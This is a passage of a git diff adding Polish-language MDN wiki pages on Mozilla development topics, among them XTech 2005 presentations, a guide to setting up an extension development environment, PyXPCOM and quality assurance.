+<ul><li> Książka: <a class="external" href="http://www.websiteoptimization.com/">"Przyspiesz swoją witrynę" - Andy King</a>
+</li><li> <a class="external" href="http://webmonkey.wired.com/webmonkey/design/site_building/tutorials/tutorial2.html">Przewodnik optymalizacji witryny</a> (WebMonkey)
+</li></ul>
+<div class="originaldocinfo">
+<h3 id="Informacje_o_dokumencie" name="Informacje_o_dokumencie"> Informacje o dokumencie </h3>
+<ul><li> Autor: Bob Clary, Ewangelizator Technologiczny, Netscape Communications
+</li><li> Ostatnia aktualizacja: opublikowano 04 kwietnia 2003
+</li><li> Informacja o prawach autorskich: Copyright © 2001-2003 Netscape. All rights reserved.
+</li><li> Nota: Ten artykuł był pierwotnie częścią witryny DevEdge.
+</li><li> Tłumaczenie: Krzysztof Jurewicz.
+</li></ul>
+</div>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Tips_for_Authoring_Fast-loading_HTML_Pages", "ja": "ja/Tips_for_Authoring_Fast-loading_HTML_Pages", "zh-cn": "cn/Tips_for_Authoring_Fast-loading_HTML_Pages" } ) }}
diff --git a/files/pl/prezentacje_xtech_2005/index.html b/files/pl/prezentacje_xtech_2005/index.html
new file mode 100644
index 0000000000..9190915fa4
--- /dev/null
+++ b/files/pl/prezentacje_xtech_2005/index.html
@@ -0,0 +1,43 @@
+---
+title: Prezentacje XTech 2005
+slug: Prezentacje_XTech_2005
+tags:
+ - Prezentacje
+ - Wszystkie_kategorie
+translation_of: Archive/Mozilla/XTech_2005_Presentations
+---
+<p> </p>
+<dl>
+ <dt>
+ <a class="external" href="http://developer.mozilla.org/en/docs/XTech_2005_Presentations:Web_1.6:_A_Rope_of_Sand">Web 1.6: A Rope of Sand (en)</a> - Otwierająca prelekcja, Mike Shaver</dt>
+</dl>
+<dl>
+ <dt>
+ <a class="external" href="http://developer.mozilla.org/en/docs/XTech_2005_Presentations:Mozilla_E4X">Mozilla E4X (en)</a> - Brendan Eich</dt>
+ <dd>
+ "ECMAScript dla XML" (ECMA-357), nowy standard pisania i przetwarzania XML-a bezpośrednio w JavaScripcie (ECMA-262, ISO-16262). E4X wiąże składnię XML i JavaScriptu, i rozszerza JavaScript o przestrzenie nazw, nazwy kwalifikowane, elementy XML i listy. E4X dodaje także nowe operatory do JavaScripta do filtrowania list XML oraz numerowania dzieci i potomków w XML-u. Inna właściwości E4X: możliwość wiązania dokumentu W3C DOM do nowego obiektu XML, odzwierciedlając DOM w składni E4X dzięki czemu aktualizacje w DOM i hierarchii obiektów E4X pokazywane są równocześnie.</dd>
+</dl>
+<dl>
+ <dt>
+ <a class="external" href="http://developer.mozilla.org/en/docs/XTech_2005_Presentations:Directions_of_the_Mozilla_RDF_engine">Directions of the Mozilla RDF engine: website scripting, standards conformance and perfomance (en)</a> - Axel Hecht</dt>
+ <dd>
+ Ta prezentacja pokazuje nowe kierunki rozwoju silnika RDF w Mozilli. Pokazuje plany wystawienia API RDFa do publicznej sieci oraz poprawki wydajności i poprawności.</dd>
+</dl>
+<dl>
+ <dt>
+ <a class="external" href="http://developer.mozilla.org/en/docs/XTech_2005_Presentations:Rich_Web:_SVG_And_Canvas_In_Mozilla">Rich Web: SVG And Canvas In Mozilla (en)</a> - Robert O'Callahan</dt>
+ <dd>
+ Dzisiejsze przeglądarki WWW oferują dość ograniczone możliwości graficzne programistom WWW. Wykorzystanie wsparcia sprzętowego, zwłaszcza w interaktywnych aplikacjach daje możliwość tworzenia znacznie bogatszych graficznie interaktywnych aplikacji. Aby pokazać potencjał aplikacji WWW, przeglądarki muszą dać nowe, bogate API graficzne dla autorów stron. Projekt Mozilla staje na wysokości zadania prezentując dwie nowe funkcje, które będą dostarczane wraz z Firefoksem 1.1: zintegrowane SVG oraz nowy element HTML <code>canvas</code>. Trwają także prace "pod maską" nad nową zunifikowaną architekturą graficzną. Te prace dadzą także nowe możliwości autorom stron WWW takie jak możliwość wykorzystania efektów SVG w treściach HTMLa.</dd>
+</dl>
+<dl>
+ <dt>
+ <a class="external" href="http://developer.mozilla.org/en/docs/XTech_2005_Presentations:Extending_Gecko_with_XBL_and_XTF">Extending Gecko with XBL and XTF (en)</a> - Brian Ryner</dt>
+ <dd>
+ Ta sesja pokazuje ścieżki rozszerzania Mozilli/Firefoksa, aby obsługiwał nowe tagi XML i przestrzenie nazw poprzez rozszerzenia silnika layoutu.</dd>
+</dl>
+<dl>
+ <dt>
+ <a class="external" href="http://developer.mozilla.org/en/docs/XTech_2005_Presentations:XUL_-_Mozilla%27s_XML_User_Interface_Language">XUL - Mozilla's XML User Interface Language (en)</a> - Ben Goodger</dt>
+ <dd>
+ Ben Goodger, główny programista Mozilli Firefox, mówi o XULu, XMLowym języku obsługi interfejsu Mozilli.</dd>
+</dl>
diff --git a/files/pl/programowanie_mozilli/index.html b/files/pl/programowanie_mozilli/index.html
new file mode 100644
index 0000000000..c870d96da8
--- /dev/null
+++ b/files/pl/programowanie_mozilli/index.html
@@ -0,0 +1,16 @@
+---
+title: Programowanie Mozilli
+slug: Programowanie_Mozilli
+tags:
+ - Programowanie_Mozilli
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+---
+<p>Chcesz pomóc w poprawieniu błędów, ale nie wiesz gdzie zacząć? Znalazłeś odpowiednie miejsce. Tu dowiesz się jak <a href="/pl/Kod_%C5%BAr%C3%B3d%C5%82owy_Mozilli_(HTTP//FTP)" title="pl/Kod_źródłowy_Mozilli_(HTTP//FTP)">pobrać kod źródłowy</a>, <a href="/pl/Dokumentacja_kompilacji" title="pl/Dokumentacja_kompilacji">skompilować go</a>, <a href="/pl/Tworzenie_poprawki" title="pl/Tworzenie_poprawki">stworzyć poprawkę</a>, <a href="/pl/Dodawanie_poprawki_do_drzewa" title="pl/Dodawanie_poprawki_do_drzewa">dodać ją do drzewa</a>, i wszystkich innych ważnych rzeczy, które każdy programista Mozilli powinien znać.</p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja" name="Dokumentacja"><a href="/Special:Tags?tag=Programowanie_Mozilli&amp;language=pl" title="Special:Tags?tag=Programowanie_Mozilli&amp;language=pl">Dokumentacja</a></h4> <dl><dt> <a class="external" href="http://www.mozilla.org/hacking/">Hacking documentation on mozilla.org</a> </dt><dd> <small>Another page with hacking-related documentation. We're working on this.</small> </dd></dl> <dl><dt> <a href="/pl/Hakowanie_Firefoksa" title="pl/Hakowanie_Firefoksa">Hakowanie Firefoksa</a> oraz <a href="/pl/Fragmenty_kodu" title="pl/Fragmenty_kodu">kilka fragmentów kodu</a> </dt><dd> <small>Getting involved in front-end development.</small> </dd></dl> <dl><dt> <a href="/pl/Dokumentacja_kompilacji" title="pl/Dokumentacja_kompilacji">Kompilowanie Firefoksa, Thunderbirda oraz innych aplikacji</a> </dt><dd> <small>This section contains documentation on how to build Firefox, Thunderbird, and other Mozilla-based applications.</small> </dd></dl> <dl><dt> <a href="/pl/Strategie_programowania_Mozilli" title="pl/Strategie programowania Mozilli">Strategie programowania Mozilli</a> </dt><dd> <small>Jak sprawić by programowanie w środowisku Mozilli było wydajne.</small> </dd></dl> <dl><dt> Developing Tests </dt><dd> <small>Testing <a href="/pl/Developing_Tests" title="pl/Developing_Tests">information</a> and <a href="/pl/Mozilla_automated_testing" title="pl/Mozilla_automated_testing">automation tools</a>.</small> </dd></dl> <dl><dt> Debugging FAQs </dt><dd> <small>Tips on debugging are platform specific. Choose: <a href="/pl/Debugging_Mozilla_on_Windows_FAQ" title="pl/Debugging_Mozilla_on_Windows_FAQ">Windows</a>, <a class="external" href="http://www.mozilla.org/unix/debugging-faq.html">Linux</a>, or <a href="/pl/Debugging_on_Mac_OS_X" title="pl/Debugging_on_Mac_OS_X">Mac OS X</a>.</small> </dd></dl> <dl><dt> <a href="/pl/Creating_a_patch" title="pl/Creating_a_patch">Tworzenie poprawki</a> i <a href="/pl/Getting_your_patch_in_the_tree" title="pl/Getting_your_patch_in_the_tree">jak dostać review i włączyć kod do repozytorium</a> </dt><dd> <small>Podpowiedzi jak tworzyć poprawki i sprawić by zmiany znalazły się w drzewie.</small> </dd></dl> <dl><dt> <a href="/pl/Viewing_and_searching_Mozilla_source_code_online" title="pl/Viewing_and_searching_Mozilla_source_code_online">Przeglądanie i przeszukiwanie kodu źródłowego Mozilli online</a> </dt><dd><small>Użycie systemu Mozilla Cross Reference (MXR) do przeglądania i przeszukiwania kodu źródłowego wszystkich produktów Mozilli.</small> </dd></dl> <dl><dt> <a href="/pl/Getting_commit_access_to_Mozilla_source_code" title="pl/Getting_commit_access_to_Mozilla_source_code">Uzyskiwanie praw zapisu do kodu źródłowego Mozilli</a> </dt><dd><small>Dowiedz się jak uzyskać dostęp do zapisu do repozytorium.</small> </dd></dl> <p><span class="alllinks"><a href="/Special:Tags?tag=Programowanie_Mozilli&amp;language=pl" title="Special:Tags?tag=Programowanie_Mozilli&amp;language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> <ul> <li><a class="external" href="http://www.mozilla.org/community/developer-forums.html" rel="external nofollow" title="http://www.mozilla.org/community/developer-forums.html">Lista forów deweloperskich</a></li> <li><a class="link-irc" href="irc://irc.mozilla.org/developers" rel="external nofollow" title="irc://irc.mozilla.org/developers">#developers na irc.mozilla.org</a></li> </ul> <h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h4> <ul> <li><a href="/pl/Bugzilla" title="pl/Bugzilla">Bugzilla</a> <a class="link-https" href="https://bugzilla.mozilla.org"></a>: baza danych błędów projektów Mozilli.</li> <li><a class="external" href="http://mxr.mozilla.org/">MXR</a> (wcześniej LXR): przeglądanie i przeszukiwanie źródeł repozytoriów.</li> <li><a href="/pl/Bonsai" title="pl/Bonsai">Bonsai</a><a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi"></a>: dowiedz się kto zmienił co, w jakim pliku i kiedy.</li> <li><a href="/pl/Tinderbox" title="pl/Tinderbox">Tinderbox</a> <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi"></a>: Pokazuje status drzewa. Zajrzyj tam zanim pobierzesz źródła, albo coś wyślesz do repozytorium.</li> <li><a href="/pl/Crash_reporting" title="pl/Crash_reporting">Crash tracking</a>: <a class="link-https" href="https://crash-reports.mozilla.com/reports">Socorro</a>, <a class="external" href="http://talkback-public.mozilla.org/search/start.jsp">Talkback</a></li> <li><a class="external" href="http://graphs.mozilla.org/">graphs.mozilla.org</a> analiza wydajności.</li> </ul> <p><span class="alllinks"><a href="/Special:Tags?tag=Programowanie_Mozilli:Narz%C4%99dzia&amp;language=pl" title="Special:Tags?tag=Programowanie_Mozilli:Narzędzia&amp;language=pl">Pokaż wszystkie...</a></span></p> <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl><dd> <a href="/pl/QA" title="pl/QA">Kontrola Jakości</a> </dd></dl></td> </tr> </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p> </p>
+<p>{{ languages( { "de": "de/Mozilla_entwickeln", "en": "en/Developing_Mozilla", "es": "es/Desarrollando_Mozilla", "fr": "fr/D\u00e9veloppement_de_Mozilla", "ja": "ja/Developing_Mozilla", "pt": "pt/Desenvolvimento_Mozilla", "zh-cn": "cn/\u5f00\u53d1Mozilla" } ) }}</p>
diff --git a/files/pl/programowanie_www/index.html b/files/pl/programowanie_www/index.html
new file mode 100644
index 0000000000..c50ec7e0fc
--- /dev/null
+++ b/files/pl/programowanie_www/index.html
@@ -0,0 +1,53 @@
+---
+title: Programowanie WWW
+slug: Programowanie_WWW
+tags:
+ - Programowanie_WWW
+ - Wszystkie_kategorie
+translation_of: Web/Guide
+---
+<p>
+</p>
+<div>
+<p><b>Programowanie WWW</b> jest to zespół wszystkich aspektów tworzenia stron oraz aplikacji WWW.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Dokumentacja" name="Dokumentacja"> <a>Dokumentacja</a> </h4>
+<dl><dt> <a href="pl/Wykrywanie_wersji_i_programowanie_dla_wielu_przegl%c4%85darek">Wykrywanie wersji i programowanie dla wielu przeglądarek</a>
+</dt><dd> <small>Niewłaściwie stosowanie wykrywania wersji może uczynić konserwację serwisu prawdziwym koszmarem. Przemyślenie strategii w którym momencie i w jaki sposób wykrywać wersję i rodzaj przeglądarki użytkownika jest kluczowym czynnikiem podczas składania łatwych w zarządzaniu i przenośnych serwisów internetowych. Niniejszy artykuł jest przeglądem różnych sposobów wykrywania wersji i ich użyteczności w określonych przypadkach.</small>
+</dd></dl>
+<dl><dt> <a href="pl/U%c5%bcycie_warto%c5%9bci_URL_dla_w%c5%82asno%c5%9bci_cursor">Użycie wartości URL dla własności cursor</a>
+</dt><dd> <small><a href="pl/Gecko">Gecko</a> 1.8 (<a href="pl/Firefox_1.5">Firefox 1.5</a>, SeaMonkey 1.0) obsługuje wartość URL dla <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#cursor-props">własności cursor CSS2</a>, który pozwala określić dowolne obrazeki jako kursor myszki.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87"> Społeczność </h4>
+<ul><li> Obejrzyj fora Mozilli...
+</li></ul>
+<p>{{ DiscussionList("dev-web-development", "mozilla.dev.web-development") }}
+</p>
+<ul><li> <a class="external" href="http://www.whatwg.org/">Grupa robocza WHAT</a>
+</li><li> <a class="external" href="http://webdevfeedhouse.com/">WebDev FeedHouse</a>
+</li></ul>
+<h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia"> Narzędzia </h4>
+<ul><li> <a class="external" href="http://www.getfirebug.com/">Firebug</a>
+</li><li> <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&amp;application=firefox">Rozszerzenie Web Developer</a>
+</li><li> <a href="pl/Venkman">Venkman</a>, debugger JavaScript
+</li><li> <a href="pl/Inspektor_DOM">Inspektor DOM</a>
+</li></ul>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+<h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy"> Powiązane tematy </h4>
+<dl><dd> <a href="pl/AJAX">AJAX</a>, <a href="pl/CSS">CSS</a>, <a href="pl/HTML">HTML</a>, <a href="pl/JavaScript">JavaScript</a>, <a href="pl/Standardy_WWW">Standardy WWW</a>, <a href="pl/XHTML">XHTML</a>, <a href="pl/XML">XML</a>
+</dd></dl>
+</td>
+</tr>
+</tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "de": "de/Webentwicklung", "en": "en/Web_Development", "es": "es/Desarrollo_Web", "fr": "fr/D\u00e9veloppement_Web", "it": "it/Sviluppo_Web", "ja": "ja/Web_Development" } ) }}
diff --git a/files/pl/przygotowanie_środowiska_programowania_rozszerzenia/index.html b/files/pl/przygotowanie_środowiska_programowania_rozszerzenia/index.html
new file mode 100644
index 0000000000..9b34d45c24
--- /dev/null
+++ b/files/pl/przygotowanie_środowiska_programowania_rozszerzenia/index.html
@@ -0,0 +1,61 @@
+---
+title: Przygotowanie środowiska programowania rozszerzenia
+slug: Przygotowanie_środowiska_programowania_rozszerzenia
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+---
+<p> </p>
+<p>W tym artykule przedstawiono propozycje skonfigurowania aplikacji Mozilla w celu dostosowania jej do potrzeb programowania rozszerzeń.</p>
+<h3 id="Preferencje_programistyczne" name="Preferencje_programistyczne">Preferencje programistyczne</h3>
+<p>Ustawienie wymienionych niżej preferencji ułatwi debugowanie kodu (jednak wiązać się z tym będzie spadek wydajności).</p>
+<p>Informacje na temat ustawiania preferencji można znaleźć w artykule <a class="external" href="http://www.mozilla.org/support/firefox/edit">Editing Configuration Files</a> (Edytowanie plików konfiguracyjnych). Uwaga: niektórych z omawianych preferencji domyślnie nie ma liście &lt;tt&gt;about:config&lt;/tt&gt; — w takim przypadku należy utworzyć nowe wpisy (typu „wartość logiczna”).</p>
+<p>Przed dokonaniem tych zmian należy zapoznać się z instrukcją tworzenia osobnego profilu do celów testowych, przedstawioną w sekcji <a href="#Profil_testowy">Profil testowy</a>.</p>
+<ul>
+ <li><b>javascript.options.showInConsole</b> = <b>true</b>. Włącza rejestrowanie błędów występujących w plikach chrome w <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">Konsoli błędów</a>.</li>
+ <li><b>nglayout.debug.disable_xul_cache</b> = <b>true</b>. Wyłącza pamięć podręczną XUL, w wyniku czego modyfikacje okien i okien dialogowych nie wymagają ponownego uruchomienia przeglądarki. Warunkiem działania tego ustawienia jest <a href="#U.C5.BCywanie_katalog.C3.B3w_zamiast_archiw.C3.B3w_JAR">Używanie katalogów zamiast archiwów JAR</a>. Zmiany w nakładkach XUL nadal wymagają ponownego załadowania dokumentu, do którego stosowana jest nakładka.</li>
+ <li><b>browser.dom.window.dump.enabled</b> = <b>true</b>. Włącza możliwość stosowania wyrażenia dump() do wyświetlania tekstu w standardowej konsoli. Więcej informacji można znaleźć w artykule {{ Domxref("window.dump") }}. W skrypcie uprzywilejowanym można także skorzystać z interfejsu {{ Interface("nsIConsoleService") }}.</li>
+ <li><b>javascript.options.strict</b> = <b>true</b>. Włącza restrykcyjne ostrzeżenia JavaScript w <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">Konsoli błędów</a>. Jako że wielu programistów nie włącza tego ustawienia, obok ostrzeżeń dotyczących tworzonego rozszerzenia wyświetlana może być duża liczba innych ostrzeżeń dotyczących problemów związanych z kodem tworzonym przez te osoby. Takie komunikaty można odfiltrować, korzystając z rozszerzenia <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1815">Console<sup>2</sup></a>.</li>
+</ul>
+<h3 id="Rozszerzenia_wspomagaj.C4.85ce_programowanie" name="Rozszerzenia_wspomagaj.C4.85ce_programowanie">Rozszerzenia wspomagające programowanie</h3>
+<p>Poniższe rozszerzenia mogą być przydatne podczas programowania.</p>
+<ul>
+ <li>Inspektor DOM, dostępny jako opcja w instalacji niestandardowej.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/216">Venkman</a>, debuger kodu JavaScript.</li>
+ <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Rozszerzenie dla programistów rozszerzeń</a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1815">Console<sup>2</sup></a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/firefox/4453">Lista Chrome</a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1843">Firebug</a></li>
+ <li><a class="external" href="http://xpcomviewer.mozdev.org">XPCOMViewer</a>, inspektor XPCOM</li>
+</ul>
+<h3 id="Profil_testowy" name="Profil_testowy">Profil testowy</h3>
+<p>Aby uniknąć spadku wydajności związanego z ustawieniem preferencji dotyczących programowania i zainstalowaniem dodatkowych rozszerzeń, a także w celu zabezpieczenia się przed utratą własnych danych, można utworzyć osobny profil przeznaczony do testów pisanego oprogramowania.</p>
+<p>Przypisanie wartości 1 do zmiennej środowiskowej MOZ_NO_REMOTE pozwala na uruchomienie dwóch kopii programu Firefox, każdej z osobnym profilem. W systemie Windows można na przykład skorzystać z poniższego pliku wsadowego w celu uruchomienia Firefoksa z profilem testowym, niezależnie od tego, czy „zwykły” Firefox jest już uruchomiony. (Przyjęto założenie, że profil testowy nosi nazwę „dev”):</p>
+<pre class="eval">set MOZ_NO_REMOTE=1
+start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -P dev
+</pre>
+<p>Aby uruchomić program Firefox z domyślnym profilem wystarczy po prostu jak zwykle użyć poleceń "firefox" lub "firefox -P default".</p>
+<h3 id="Lokalizacja_tworzonego_kodu" name="Lokalizacja_tworzonego_kodu">Lokalizacja tworzonego kodu</h3>
+<p>Aby uniknąć ciągłego ponownego instalowania tworzonego rozszerzenia za każdym razem, gdy dokonane zostaną jakieś zmiany, a także w celu ochrony plików źródłowych przed przypadkowym usunięciem przy odinstalowywaniu rozszerzenia, kod źródłowy można umieścić poza profilem w wybranej przez siebie lokalizacji.</p>
+<ol>
+ <li>Znajdź identyfikator rozszerzenia w zawartym w nim pliku install.rdf</li>
+ <li>W katalogu katalog_profilu/extensions/ utwórz plik o nazwie takiej, jak powyższy identyfikator (np. `katalog_profilu/extensions/{46D1B3C0-DB7A-4b1a-863A-6EE6F77ECB58}`) (<a class="external" href="http://kb.mozillazine.org/Profile_folder">Znajdź katalog profilu</a>)</li>
+ <li>Plik ten powinien zawierać ścieżkę do folderu zawierającego plik install.rdf tworzonego rozszerzenia. (np. `/pełna/ścieżka/do/mojegoRozszerzenia`)</li>
+ <li>Zapisz plik w folderze extensions używanego profilu i uruchom ponownie aplikację.</li>
+</ol>
+<h3 id="U.C5.BCywanie_katalog.C3.B3w_zamiast_archiw.C3.B3w_JAR" name="U.C5.BCywanie_katalog.C3.B3w_zamiast_archiw.C3.B3w_JAR">Używanie katalogów zamiast archiwów JAR</h3>
+<p>Niezależnie od tego, czy pliki chrome rozszerzenia będą docelowo przechowywane w archiwach JAR, czy w katalogach, podczas programowania zalecana jest ta druga technika ze względu na związane z nią ułatwienia. Jeżeli w finalnej wersji mają być zastosowane archiwa JAR, w czasie programowania można korzystać ze struktury katalogów, edytując plik chrome.manifest. Na przykład zamiast poleceń</p>
+<pre class="eval">content myExtension jar:chrome/myExtension.jar!/content/
+</pre>
+<p>należy użyć</p>
+<pre class="eval">content myExtension chrome/content/
+</pre>
+<p> </p>
+<p> </p>
+<p> </p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p> </p>
diff --git a/files/pl/pyxpcom/index.html b/files/pl/pyxpcom/index.html
new file mode 100644
index 0000000000..570af27fcc
--- /dev/null
+++ b/files/pl/pyxpcom/index.html
@@ -0,0 +1,61 @@
+---
+title: PyXPCOM
+slug: PyXPCOM
+tags:
+ - PyXPCOM
+translation_of: Mozilla/Tech/XPCOM/Language_bindings/PyXPCOM
+---
+<p>
+</p>
+<div>
+<p><b>PyXPCOM</b> allows for communication between <a class="external" href="http://www.python.org/">Python</a> and <a href="pl/XPCOM">XPCOM</a>, such that a Python application can access XPCOM objects, and XPCOM can access any Python class that implements an XPCOM interface. With PyXPCOM, a developer can talk to XPCOM or embed <a href="pl/Gecko">Gecko</a> from a Python application. PyXPCOM is similar to <a href="pl/JavaXPCOM">JavaXPCOM</a> (Java-XPCOM bridge) or <a href="pl/XPConnect">XPConnect</a> (JavaScript-XPCOM bridge).
+</p>
+Python classes and interfaces: Mozilla defines many external interfaces available to embeddors and component developers. PyXPCOM provides access to these interfaces as Python interfaces. PyXPCOM also contains several classes that provide access to functions for initializing and shutting down XPCOM and Gecko from Python, as well as some XPCOM helper functions.</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentation"> <a>Documentation</a> </h4>
+<dl><dt> <a href="pl/Building_PyXPCOM">Building PyXPCOM</a>
+</dt><dd> <small>The instructions for building PyXPCOM.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Creating_a_Python_XPCOM_component">Creating a Python XPCOM component</a>
+</dt><dd> <small>An example of how to create a simple <a href="pl/XPCOM">XPCOM</a> component with Python.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-pyxp1/">Getting to know PyXPCOM</a>
+</dt><dd> <small> PyXPCOM is a bridging technology between XPCOM and Python. This article gives you a head start to PyXPCOM.</small>
+</dd></dl>
+<p><span>NOTE: The links to Part II and III of this series are broken and I cannot find them on the IBM site. Please update this page if/when the links can be found.</span>
+</p><p><span><a>View All...</a></span>
+</p>
+<h4 id="History"> History </h4>
+<p>PyXPCOM was initially developed by <a class="external" href="http://www.activestate.com/">ActiveState Tool Corporation</a>, and <a class="external" href="http://aspn.activestate.com/ASPN/Downloads/Komodo/index/PyXPCOM/">came out</a> of their <a class="external" href="http://www.activestate.com/Products/Komodo">Komodo project</a>. Current releases are now <a class="external" href="http://public.activestate.com/pyxpcom/">integrated</a> with the Mozilla build system.
+</p>
+</td>
+<td>
+<h4 id="Community"> Community </h4>
+<ul><li> View Mozilla XPCOM forums...
+</li></ul>
+<p></p><ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xpcom"> jako listę dyskusyjna</a></li>
+
+
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom"> jako newsgroup</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom/feeds"> jako kanał</a></li>
+</ul>
+<p></p>
+<ul><li> <a class="external" href="http://listserv.activestate.com/mailman/listinfo/pyxpcom">ActiveState Python XPCOM bindings mailing list</a>
+</li><li> <a class="link-irc" href="irc://irc.mozilla.org:6667/pyxpcom">#pyxpcom on irc.mozilla.org</a>
+</li></ul>
+<h4 id="Source_Code"> Source Code </h4>
+<ul><li> The PyXPCOM code is available on the trunk in the <code><a href="https://dxr.mozilla.org/mozilla-central/source/extensions/python/xpcom/" rel="custom">extensions/python/xpcom/</a></code> directory.
+</li><li> Note that PyXPCOM is not built by default. To build PyXPCOM, see <a href="pl/Building_PyXPCOM">Building PyXPCOM</a>.
+</li></ul>
+<h4 id="Related_Topics"> Related Topics </h4>
+<dl><dd> <a href="pl/XPCOM">XPCOM</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span>Categories</span>
+</p><p><span>Interwiki Language Links</span>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/qa/index.html b/files/pl/qa/index.html
new file mode 100644
index 0000000000..c436297ad2
--- /dev/null
+++ b/files/pl/qa/index.html
@@ -0,0 +1,59 @@
+---
+title: QA
+slug: QA
+translation_of: Mozilla/QA
+---
+<div>
+<p>Jest wiele rzeczy, które możesz zrobić, aby pomóc projektowi Mozilla w zakresie kontroli jakości (<em>ang. Quality Assurance - QA</em>) i żadna z nich nie wymaga umiejętności programowania. Część z nich nie wymaga nawet znajomości HTML-a ani żadnych innych technologii WWW. Jeżeli jesteś zainteresowany pomaganiem nam w testowaniu i innych czynnościach związanych z kontrolą jakości, przeczytaj najpierw strony <a class="external" href="http://www.mozilla.org/quality/">Mozilla Quality Assurance</a> oraz <a class="external" href="http://www.mozilla.org/quality/help/">Pomoc z Quality Assurance</a>.</p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2>
+
+ <dl>
+ <dt><a href="/pl/docs/Wytyczne_zgłaszania_błędów" title="pl/docs/Wytyczne_zgłaszania_błędów">Wytyczne zgłaszania błędów</a></dt>
+ <dd>Im skuteczniej zostanie zgłoszony błąd, tym bardziej prawdopodobne jest, że zostanie on naprawiony. Poprzez przestrzeganie tych zasad możesz upewnić się, że Twoje błędy będą na górze stosu inżynierów Mozilli i będą naprawione.</dd>
+ <dt><a class="external" href="http://www.mozilla.org/quality/help/screening-duplicates.html">Jak sprawdzić zduplikowane raporty błędów</a></dt>
+ <dd>Jest to przewodnik stworzony, aby pomóc Ci zidentyfikować tak wiele zduplikowanych zgłoszeń błędów, jak tylko możesz i tak skutecznie jak to możliwe. Zakładamy, że znasz już podstawy szukania duplikatów na Bugzilli.</dd>
+ <dt><a class="external" href="http://www.mozilla.org/quality/help/beginning-duplicate-finding.html">Jak sprawdzić czy błąd został już wcześniej zgłoszony</a></dt>
+ <dd>Możesz pomóc w naprawieniu większej ilości błędów w krótszym czasie poprzez sprawdzanie bazy danych Bugzilli przed zgłoszeniem swojego błędu oraz nie tworzenie duplikatu zgłoszenia, jeśli odkryjesz, że błąd został już zgłoszony.</dd>
+ <dt><a class="external" href="http://www.mozilla.org/bugs/text-searching.html">Jak stosować wyrażenia regularne podczas przeszukiwania Bugzilli</a></dt>
+ <dd>Ten przewodnik został zaprojektowany, aby dostarczyć Ci wystarczającej wiedzy i wyrwanych z życia przykładów, aby potrafił używać różnych porównań tekstowych oferowanych przez Mozillę (szczególnie wyrażeń regularnych) i abyś w ten sposób zyskał doświadczenie.</dd>
+ </dl>
+
+ <p><span class="alllinks"><a href="/pl/docs/tag/QA" title="pl/docs/tag/QA">Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2>
+
+ <ul>
+ <li><a class="external" href="http://quality.mozilla.org/">QMO | quality.mozilla.org</a></li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/qa">#qa na irc.mozilla.org</a></li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/bugs">#bugs na irc.mozilla.org</a></li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/smoketest">#smoketest na irc.mozilla.org</a></li>
+ <li>Fora MozillaZine: <a class="external" href="http://forums.mozillazine.org/viewforum.php?f=23">kompilacje Firefoksa</a>, <a class="external" href="http://forums.mozillazine.org/viewforum.php?f=29">kompilacje Thunderbirda</a></li>
+ <li><a href="/pl/docs/QA/Społeczność" title="pl/docs/QA/Społeczność">Inne odnośniki...</a></li>
+ </ul>
+
+ <h2 class="Tools" id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h2>
+
+ <ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/">Bugzilla</a></li>
